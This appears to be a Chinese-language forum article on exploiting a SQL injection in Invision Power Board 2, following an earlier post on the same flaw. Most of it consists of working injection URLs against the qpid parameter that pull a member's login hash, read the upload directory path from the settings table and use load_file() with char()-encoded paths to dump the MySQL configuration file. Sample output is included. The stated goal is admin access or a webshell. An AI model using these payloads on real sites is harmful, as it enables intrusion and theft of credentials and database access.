在上一篇《PHP+MySQL注入導出文件的新發現——附帶IPB2的漏洞利用》,利用IPB2的注入漏洞獲得管理員的資料,修改COOKIE可以得到前臺的管理權限。不少人埋怨沒有什么用,其實這個是大多數人不了解IPB2的原因。
因為過濾了很多特殊字符,包括單引號,全部轉為十進制了。
其實充分發揮一下想象力。也是有可能拿到后臺管理員或者webshell的,注意,是可能,因為這個并不是通殺的,為什么不是通殺的,往下看就知道了。
我也不多說了。對于這個,我看最直接的目的就是看MYSQL的連接信息。怎么看?讀文件唄!
我想不管是讀文件和上傳,這個注入漏洞都給我們提供了最直接的條件,如果了解IPB2的人就應該知道。上傳的目錄是保存數據庫里的,因此。我們根本不需要怎么提交、不需要構造什么變量去報錯暴路徑,IPB2也沒有這個條件去暴這些信息。就算出錯也只返回特定的信息。
IPB2的上傳目錄的路徑是保存在ibf_conf_settings表里,所以我們可以構造SQL語句,把這個路徑給直接反饋到眼前。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, member_login_key, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_members%20where%20id=1%20/* |
這樣是讀取id為1的用戶的密碼散列,同樣的,我們如果提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_id=59%20/* |
就會返回上傳目錄的絕對路徑:
[quote=5,Jan 1 1970, 08:00 AM] h:/www/ipb2/uploads [right][snapback]1[/snapback][/right] [/quote] |
不過,默認應該是這樣可以了的,但是如果管理員把conf_id改變的話,可能就不是59了。這時我們直接提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_key=char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)%20/* |
因為conf_key為upload_dir的相對應的conf_value就是上傳目錄的絕對路徑,但是因為是字符串,我們不能用單引號,只能轉換為10進制或者16進制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也會返回絕對路徑。
有了絕對路徑能做什么呢?知道可以允許寫的目錄在哪了。知道MYSQL連接文件在哪了,還等什么?讀文件吧。假設上面的,我們的目錄是“h:/www/ipb2/”,那么連接文件就是“h:/www/ipb2/conf_global.php”,轉換為10進制或者16進制,提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, load_file(char(104, 58, 47, 119, 119, 119, 47, 105, 112, 98, 50, 47, 99, 111, 110, 102, 95, 103, 108, 111, 98, 97, 108, 46, 112, 104, 112)), 12, 13, 14, 15, 16, 17, 18, 19, 1%20/* |
文件就出來了:
[quote=5,Jan 1 1970, 08:00 AM] < ?php $INFO['sql_driver'] = 'mysql'; $INFO['sql_host'] = 'localhost'; $INFO['sql_database'] = 'ipb2'; $INFO['sql_user'] = 'root'; $INFO['sql_pass'] = ''; $INFO['sql_tbl_prefix'] = 'ibf_'; $INFO['sql_debug'] = '1'; $INFO['board_start'] = '1102196141'; $INFO['installed'] = '1'; $INFO['php_ext'] = 'php'; $INFO['safe_mode'] = '0'; $INFO['board_url'] = 'http://localhost/ipb2'; $INFO['admin_group'] = '4'; $INFO['guest_group'] = '2'; $INFO['member_group'] = '3'; $INFO['auth_group'] = '1';
?> [right][snapback]1[/snapback][/right] [/quote] |
注意注意!剛才說了,不是通殺的,有兩個條件:
本文完全是技巧和思路的文章,沒有多大技術含量,都是老技術了,如果你不了解IPB2,也不知道在數據庫里放有絕對路徑吧?